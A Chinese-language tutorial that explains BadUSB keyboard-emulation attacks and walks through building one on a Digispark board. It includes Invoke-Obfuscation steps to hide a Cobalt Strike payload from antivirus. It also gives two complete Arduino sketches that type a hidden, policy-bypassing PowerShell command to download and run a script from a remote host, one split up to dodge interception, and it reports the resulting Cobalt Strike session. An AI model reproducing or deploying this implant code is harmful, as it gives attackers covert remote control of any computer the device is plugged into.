badusb介紹
BadUSB是利用偽造HID設備執行攻擊載荷的一種攻擊方式。HID(Human InterfaceDevice)設備通常指的就是鍵盤鼠標等與人交互的設備,用戶插入BadUSB,就會自動執行預置在固件中的惡意代碼。
BadUsb插入后,會模擬鍵盤鼠標對電腦進行操作,通過這些操作打開電腦的命令終端,並執行一條命令,這條命令將從指定網址下載其他代碼並於后台靜默運行。這些代碼功能包括:竊取信息、反彈shell、發送郵件等,從而實現控制目標機或者竊取信息的目的。
惡意代碼存在於U盤的固件中,PC上的殺毒軟件無法訪問到U盤存放固件的區域,因此也就意味着殺毒軟件和U盤格式化都無法防御BadUSB的攻擊。
badusb原理
主機是通過設備固件中的某些描述符來判斷USB哪種設備的。這就意味着我們可以利用此漏洞將一些特殊的USB設備偽裝成為其他任何設備,例如輸入設備、網卡等等。
當插入USB設備后,主機驅動會向設備請求各種描述符來識別設備,為了把一個設備識別成HID類別,設備固件在定義描述符的時候必須遵守HID規約。
構成:
- 普通U盤一般都是由閃存(FLASH)和主控(MCU)構成,主控主要負責控制數據讀寫任務分配,閃存的話一般有一部分用來存放u盤固件(無法直接讀取),其它部分用來進行讀寫和存儲。
- BadUsb就是利用對u盤固件進行重新編程,將虛擬鍵盤輸入轉為協議約定的字節指令集成進固件中,讓主機將usb識別為一塊鍵盤,並執行事先編寫好的虛擬鍵盤輸入。
利用
CS馬
使用Invoke-Obfuscation編碼,簡單做一下免殺:
進入Invoke-Obfuscation目錄后,在PowerShell中執行命令
set scriptpath C:\Users\86153\Desktop\payload.ps1
encoding
6
out C:\Users\86153\Desktop\payload1.ps1
badusb環境
- 安裝Arduino IDE
https://downloads.arduino.cc/arduino-1.8.16-windows.zip
下載完成后解壓,打開exe
點擊文件->首選項
在附加開發版管理器網址處添加 http://digistump.com/package_digistump_index.json
在工具->開發板:"Arduino Leonardo"->開發板管理器
找到 digistump avr boards進行下載
之后再開發板處選擇digispark(default-16.5mhz)
- 安裝驅動使用digistump drivers
鏈接:http://pan.baidu.com/s/1i4K10dn 密碼:ilaf
如果是 64 位操作系統請選擇 DPinst64.exe,否則選擇 DPinst.exe.
至此環境配置結束
badusb制作
將代碼貼至Arduino點擊上傳
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.111.252/payload.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
或者將打開powershell和執行命令分開(可以繞過一些攔截)
# include "DigiKeyboard.h"
# define KEY_ESC 41
# define KEY_BACKSPACE 42
# define KEY_TAB 43
# define KEY_PRT_SCR 70
# define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("powershell"))
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("IEX(New-Object Net.WebClient).DownloadString('http://123.207.101.205:8000/cs.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
出現如下圖,插上我們准備的badusb
直至出現thank you,此時我們的badusb就已經做好了
測試
插上badusb后發現我們的cs上線
參考
https://www.freebuf.com/articles/system/292358.html